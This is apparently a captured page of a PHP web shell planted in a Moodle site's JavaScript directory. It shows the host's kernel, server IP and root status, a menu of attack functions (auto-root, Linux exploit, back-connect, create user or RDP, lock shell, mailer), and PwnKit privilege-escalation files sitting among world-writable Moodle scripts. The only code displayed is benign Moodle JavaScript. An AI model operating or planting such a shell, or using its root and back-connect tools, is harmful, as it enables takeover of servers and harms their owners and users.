Linux vmi284606.contaboserver.net 4.15.0-213-generic #224-Ubuntu SMP Mon Jun 19 13:30:12 UTC 2023 x86_64
Apache/2.4.57 (Ubuntu)
: 167.86.127.34 | : 216.73.217.31
Cant Read [ /etc/named.conf ]
7.2.24-0ubuntu0.18.04.17
root
Terminal
AUTO ROOT
Adminer
Backdoor Destroyer
Linux Exploit
Lock Shell
Lock File
Create User
CREATE RDP
PHP Mailer
BACKCONNECT
UNLOCK SHELL
HASH IDENTIFIER
README
+ Create Folder
+ Create File
/
var /
www /
html /
moodle /
admin /
tool /
lp /
amd /
build /
[ HOME SHELL ]
Name
Size
Permission
Action
.pkexec
[ DIR ]
drwxr-xr-x
GCONV_PATH=.
[ DIR ]
drwxr-xr-x
.mad-root
0
B
-rw-r--r--
actionselector.min.js
2.77
KB
-rwxrwxrwx
actionselector.min.js.map
8.42
KB
-rwxrwxrwx
competencies.min.js
6.94
KB
-rwxrwxrwx
competencies.min.js.map
19.17
KB
-rwxrwxrwx
competency_outcomes.min.js
1.07
KB
-rwxrwxrwx
competency_outcomes.min.js.map
3.84
KB
-rwxrwxrwx
competency_plan_navigation.min...
1.23
KB
-rwxrwxrwx
competency_plan_navigation.min...
3.87
KB
-rwxrwxrwx
competency_rule.min.js
1.24
KB
-rwxrwxrwx
competency_rule.min.js.map
5.88
KB
-rwxrwxrwx
competency_rule_all.min.js
579
B
-rwxrwxrwx
competency_rule_all.min.js.map
2.11
KB
-rwxrwxrwx
competency_rule_points.min.js
2.46
KB
-rwxrwxrwx
competency_rule_points.min.js....
8.31
KB
-rwxrwxrwx
competencyactions.min.js
15.43
KB
-rwxrwxrwx
competencyactions.min.js.map
44.3
KB
-rwxrwxrwx
competencydialogue.min.js
2.34
KB
-rwxrwxrwx
competencydialogue.min.js.map
7.67
KB
-rwxrwxrwx
competencypicker.min.js
6.72
KB
-rwxrwxrwx
competencypicker.min.js.map
21.72
KB
-rwxrwxrwx
competencypicker_user_plans.mi...
3.05
KB
-rwxrwxrwx
competencypicker_user_plans.mi...
10.22
KB
-rwxrwxrwx
competencyruleconfig.min.js
6.01
KB
-rwxrwxrwx
competencyruleconfig.min.js.ma...
20.63
KB
-rwxrwxrwx
competencytree.min.js
3.23
KB
-rwxrwxrwx
competencytree.min.js.map
12.63
KB
-rwxrwxrwx
course_competency_settings.min...
2.71
KB
-rwxrwxrwx
course_competency_settings.min...
7.54
KB
-rwxrwxrwx
dialogue.min.js
1.62
KB
-rwxrwxrwx
dialogue.min.js.map
5.45
KB
-rwxrwxrwx
dragdrop-reorder.min.js
1.23
KB
-rwxrwxrwx
dragdrop-reorder.min.js.map
5.1
KB
-rwxrwxrwx
event_base.min.js
578
B
-rwxrwxrwx
event_base.min.js.map
2.23
KB
-rwxrwxrwx
evidence_delete.min.js
1.27
KB
-rwxrwxrwx
evidence_delete.min.js.map
4.72
KB
-rwxrwxrwx
form-cohort-selector.min.js
1.21
KB
-rwxrwxrwx
form-cohort-selector.min.js.ma...
3.9
KB
-rwxrwxrwx
form-user-selector.min.js
1.36
KB
-rwxrwxrwx
form-user-selector.min.js.map
4.49
KB
-rwxrwxrwx
form_competency_element.min.js
2.37
KB
-rwxrwxrwx
form_competency_element.min.js...
6.72
KB
-rwxrwxrwx
frameworkactions.min.js
2.42
KB
-rwxrwxrwx
frameworkactions.min.js.map
8.04
KB
-rwxrwxrwx
frameworks_datasource.min.js
1.12
KB
-rwxrwxrwx
frameworks_datasource.min.js.m...
4.31
KB
-rwxrwxrwx
grade_dialogue.min.js
1.89
KB
-rwxrwxrwx
grade_dialogue.min.js.map
6.18
KB
-rwxrwxrwx
grade_user_competency_inline.m...
2.58
KB
-rwxrwxrwx
grade_user_competency_inline.m...
7.93
KB
-rwxrwxrwx
menubar.min.js
9.6
KB
-rwxrwxrwx
menubar.min.js.map
37.95
KB
-rwxrwxrwx
module_navigation.min.js
820
B
-rwxrwxrwx
module_navigation.min.js.map
2.93
KB
-rwxrwxrwx
parentcompetency_form.min.js
2.45
KB
-rwxrwxrwx
parentcompetency_form.min.js.m...
8.21
KB
-rwxrwxrwx
planactions.min.js
9.42
KB
-rwxrwxrwx
planactions.min.js.map
27.69
KB
-rwxrwxrwx
pwnkit
10.99
KB
-rwxr-xr-x
scaleconfig.min.js
3.51
KB
-rwxrwxrwx
scaleconfig.min.js.map
11.38
KB
-rwxrwxrwx
scalevalues.min.js
658
B
-rwxrwxrwx
scalevalues.min.js.map
2.54
KB
-rwxrwxrwx
templateactions.min.js
2.81
KB
-rwxrwxrwx
templateactions.min.js.map
9.67
KB
-rwxrwxrwx
tree.min.js
8.13
KB
-rwxrwxrwx
tree.min.js.map
27.38
KB
-rwxrwxrwx
user_competency_course_navigat...
1.45
KB
-rwxrwxrwx
user_competency_course_navigat...
4.52
KB
-rwxrwxrwx
user_competency_info.min.js
1.94
KB
-rwxrwxrwx
user_competency_info.min.js.ma...
6.04
KB
-rwxrwxrwx
user_competency_plan_popup.min...
2.46
KB
-rwxrwxrwx
user_competency_plan_popup.min...
7.08
KB
-rwxrwxrwx
user_competency_workflow.min.j...
4.63
KB
-rwxrwxrwx
user_competency_workflow.min.j...
12.79
KB
-rwxrwxrwx
user_evidence_actions.min.js
6.69
KB
-rwxrwxrwx
user_evidence_actions.min.js.m...
19.31
KB
-rwxrwxrwx
Delete
Unzip
Zip
${this.title}
Close
Code Editor : competencyruleconfig.min.js
/** * Competency rule config. * * @package tool_lp * @copyright 2015 Frédéric Massart - FMCorz.net * @license http://www.gnu.org/copyleft/gpl.html GNU GPL v3 or later */ define("tool_lp/competencyruleconfig",["jquery","core/notification","core/templates","tool_lp/dialogue","tool_lp/competency_outcomes","core/str"],(function($,Notification,Templates,Dialogue,Outcomes,Str){var RuleConfig=function(tree,rulesModules){this._eventNode=$("<div></div>"),this._tree=tree,this._rulesModules=rulesModules,this._setUp()};return RuleConfig.prototype._competency=null,RuleConfig.prototype._eventNode=null,RuleConfig.prototype._outcomesOption=null,RuleConfig.prototype._popup=null,RuleConfig.prototype._ready=null,RuleConfig.prototype._rules=null,RuleConfig.prototype._rulesModules=null,RuleConfig.prototype._tree=null,RuleConfig.prototype._afterChange=function(){this._isValid()?this._find('[data-action="save"]').prop("disabled",!1):this._find('[data-action="save"]').prop("disabled",!0)},RuleConfig.prototype._afterRuleConfigChange=function(e,rule){rule==this._getRule()&&this._afterChange()},RuleConfig.prototype._afterRender=function(){var self=this;self._find('[name="outcome"]').on("change",(function(){self._switchedOutcome()})).trigger("change"),self._find('[name="rule"]').on("change",(function(){self._switchedRule()})).trigger("change"),self._find('[data-action="save"]').on("click",(function(){self._trigger("save",self._getConfig()),self.close()})),self._find('[data-action="cancel"]').on("click",(function(){self.close()}))},RuleConfig.prototype.canBeConfigured=function(){var can=!1;return $.each(this._rules,(function(index,rule){rule.canConfig()&&(can=!0)})),can},RuleConfig.prototype.close=function(){this._popup.close(),this._popup=null},RuleConfig.prototype.display=function(){var self=this;return!!self._competency&&$.when(Str.get_string("competencyrule","tool_lp"),self._render()).then((function(title,render){self._popup=new Dialogue(title,render[0],self._afterRender.bind(self))})).fail(Notification.exception)},RuleConfig.prototype._find=function(selector){return $(this._popup.getContent()).find(selector)},RuleConfig.prototype._getApplicableOutcomesOptions=function(){var self=this,options=[];return $.each(self._outcomesOption,(function(index,outcome){options.push({code:outcome.code,name:outcome.name,selected:outcome.code==self._competency.ruleoutcome})})),options},RuleConfig.prototype._getApplicableRulesOptions=function(){var self=this,options=[];return $.each(self._rules,(function(index,rule){rule.canConfig()&&options.push({name:self._getRuleName(rule.getType()),type:rule.getType(),selected:rule.getType()==self._competency.ruletype})})),options},RuleConfig.prototype._getConfig=function(){var rule=this._getRule();return{ruletype:rule?rule.getType():null,ruleconfig:rule?rule.getConfig():null,ruleoutcome:this._getOutcome()}},RuleConfig.prototype._getOutcome=function(){return this._find('[name="outcome"]').val()},RuleConfig.prototype._getRule=function(){var result,type=this._find('[name="rule"]').val();return $.each(this._rules,(function(index,rule){rule.getType()!=type||(result=rule)})),result},RuleConfig.prototype._getRuleName=function(type){var name;return $.each(this._rulesModules,(function(index,modInfo){modInfo.type!=type||(name=modInfo.name)})),name},RuleConfig.prototype._initOutcomes=function(){var self=this;return Outcomes.getAll().then((function(outcomes){self._outcomesOption=outcomes}))},RuleConfig.prototype._initRules=function(){var self=this,promises=[];return $.each(self._rules,(function(index,rule){var promise=rule.init().then((function(){rule.setTargetCompetency(self._competency),rule.on("change",self._afterRuleConfigChange.bind(self))}),(function(){return self._rules.splice(index,1),$.when()}));promises.push(promise)})),$.when.apply($.when,promises)},RuleConfig.prototype._isValid=function(){var outcome=this._getOutcome(),rule=this._getRule();return outcome==Outcomes.NONE||!!rule&&rule.isValid()},RuleConfig.prototype.on=function(type,handler){this._eventNode.on(type,handler)},RuleConfig.prototype._preRender=function(){return this.ready()},RuleConfig.prototype.ready=function(){return this._ready.promise()},RuleConfig.prototype._render=function(){var self=this;return this._preRender().then((function(){var config;self.canBeConfigured()?((config={}).outcomes=self._getApplicableOutcomesOptions(),config.rules=self._getApplicableRulesOptions()):config=!1;var context={competencyshortname:self._competency.shortname,config:config};return Templates.render("tool_lp/competency_rule_config",context)}))},RuleConfig.prototype.setTargetCompetencyId=function(competencyId){var self=this;self._competency=self._tree.getCompetency(competencyId),$.each(self._rules,(function(index,rule){rule.setTargetCompetency(self._competency)}))},RuleConfig.prototype._setUp=function(){var self=this,promises=[],modules=[];self._ready=$.Deferred(),self._rules=[],$.each(self._rulesModules,(function(index,rule){modules.push(rule.amd)})),require(modules,(function(){$.each(arguments,(function(index,Module){var rule=new Module(self._tree);self._rules.push(rule)})),promises.push(self._initRules()),promises.push(self._initOutcomes()),$.when.apply($.when,promises).always((function(){self._ready.resolve()}))}))},RuleConfig.prototype._switchedOutcome=function(){if(this._getOutcome()==Outcomes.NONE)return this._find('[data-region="rule-type"]').hide().find('[name="rule"]').val(-1),this._find('[data-region="rule-config"]').empty().hide(),void this._afterChange();this._find('[data-region="rule-type"]').show(),this._find('[data-region="rule-config"]').show(),this._afterChange()},RuleConfig.prototype._switchedRule=function(){var self=this,container=self._find('[data-region="rule-config"]'),rule=self._getRule();if(!rule)return container.empty().hide(),void self._afterChange();rule.injectTemplate(container).then((function(){container.show()})).always((function(){self._afterChange()})).catch((function(){container.empty().hide()}))},RuleConfig.prototype._trigger=function(type,data){this._eventNode.trigger(type,[data])},RuleConfig})); //# sourceMappingURL=competencyruleconfig.min.js.map
Close